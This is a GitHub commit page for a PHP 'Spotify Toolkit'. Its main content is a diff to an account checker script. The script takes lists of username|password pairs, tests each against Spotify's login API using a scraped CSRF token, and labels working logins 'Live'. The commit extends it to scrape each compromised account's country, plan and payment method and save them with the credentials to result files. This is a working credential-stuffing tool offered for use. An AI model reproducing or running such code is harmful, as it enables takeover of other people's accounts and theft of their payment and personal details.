Skip to content

Commit f2bf2d9

Browse files
committed
2.0
2.0
1 parent f430ea9 commit f2bf2d9

2 files changed

Lines changed: 29 additions & 12 deletions

File tree

run.php

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
/**
77
* Author : Wahyu Arif Purnomo
8-
* Update : 2 September 2019
8+
* Update : 3 September 2019
99
* Please don't edit, respect me, if you want to be appreciated.
1010
*/
1111

@@ -21,9 +21,9 @@ function progress($progress){
2121
......00000000000...... ||
2222
....000000000000000.... ||
2323
...000........000000... || Author : Wahyu Arif Purnomo
24-
..000..000000.....000.. || Version : 1.0
24+
..000..000000.....000.. || Version : 2.0
2525
..00000......00000000.. || Create : 01 September 2019
26-
..00000000000,...0000.. || Update : 02 September 2019
26+
..00000000000,...0000.. || Update : 03 September 2019
2727
..00000.......0000000.. || Name : Spotify Toolkit
2828
...00000000000..0000... || ## Spotify - Music For Everyone
2929
....000000000000000.... ||
@@ -65,7 +65,7 @@ function progress($progress){
6565
";
6666
print $menulist;
6767
} else if ($lihatmenu == "n") {
68-
/** Die menu [WahyuArifPurnomo] */
68+
// Die menu [WahyuArifPurnomo]
6969
}
7070

7171
################## Pilih Menu ##################
@@ -112,6 +112,6 @@ function progress($progress){
112112

113113
/**
114114
* Author : Wahyu Arif Purnomo
115-
* Update : 2 September 2019
115+
* Update : 3 September 2019
116116
* Please don't edit, respect me, if you want to be appreciated.
117117
*/

tools/accountchecker/accountchecker.php

Lines changed: 24 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,11 @@
22
error_reporting(0);
33
/**
44
* Author : Wahyu Arif Purnomo
5-
* Update : 2 September 2019
5+
* Update : 3 September 2019
66
* Please don't edit, respect me, if you want to be appreciated.
77
*/
8-
$climate->br()->info('Delimiters "username or email|password');
9-
$input = $climate->br()->input('List?');
8+
9+
$input = $climate->input('List?');
1010
$list = $input->prompt();
1111

1212
$input_save = $climate->info()->input('Save live results?');
@@ -47,9 +47,26 @@
4747

4848
$login = http("https://accounts.spotify.com/api/login", $post, $headers);
4949
if(preg_match('/{"displayName":"/', $login)){
50-
$climate->info( $no . '. Live | ' . $user . ' | ' . $pass . ' | Token : ' . $token . '');
50+
$overview_page = http(urldecode("https://www.spotify.com/id/account/overview/"));
51+
52+
preg_match_all('/,"paymentInfo":{"(.*)":{"name":"/', $overview_page, $ifelsepayment);
53+
if($ifelsepayment[1][0] == "paymentMethod") {
54+
preg_match_all('/paymentMethod":{"name":"(.*)","icon"/', $overview_page, $arifpayment);
55+
$pay = $arifpayment[1][0];
56+
} else {
57+
$pay = "Kamu anggota dari paket Family.";
58+
}
59+
60+
preg_match_all('/{"label":"Negara","value":"(.*)"}],/', $overview_page, $arifnegara);
61+
preg_match_all('/,"plan":{"name":"(.*)","branding":/', $overview_page, $arifsub);
62+
preg_match_all('/paymentMethod":{"name":"(.*)","icon"/', $overview_page, $arifpayment);
63+
64+
$climate->info( $no . '. Live | ' . $user . ' | ' . $pass . ' | Negara : ' . $arifnegara[1][0] . ' | Paket : ' . $arifsub[1][0] . ' | Pembayaran : ' . $pay);
5165
$save = fopen("result/" . $save_file, 'a');
52-
fwrite($save, $user . " | " . $pass . "\n");
66+
fwrite($save, $user . " | " . $pass . " | " . $arifnegara[1][0] . " | " . $arifsub[1][0] . " | " . $pay . "\n");
67+
68+
$save_log = fopen("result/live.log", 'a');
69+
fwrite($save_log, $user . " | " . $pass . "\n");
5370
}else{
5471
$climate->error( $no . '. Die | ' . $user . ' | ' . $pass . ' | Token : ' . $token . '');
5572
}
@@ -58,7 +75,7 @@
5875
$climate->br()->shout('Done, your result live saved in folder : result/' . $save_file);
5976

6077
function Token(){
61-
$get = http("https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F");
78+
$get = http("https://accounts.spotify.com/id/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F");
6279
preg_match_all('/set-cookie: csrf_token=(.*?);Version=1;/', $get, $arif);
6380
return $arif[1][0];
6481
}
@@ -88,6 +105,6 @@ function http($url, $post = false, $headers = false)
88105

89106
/**
90107
* Author : Wahyu Arif Purnomo
91-
* Update : 2 September 2019
108+
* Update : 3 September 2019
92109
* Please don't edit, respect me, if you want to be appreciated.
93110
*/

0 commit comments

Comments
 (0)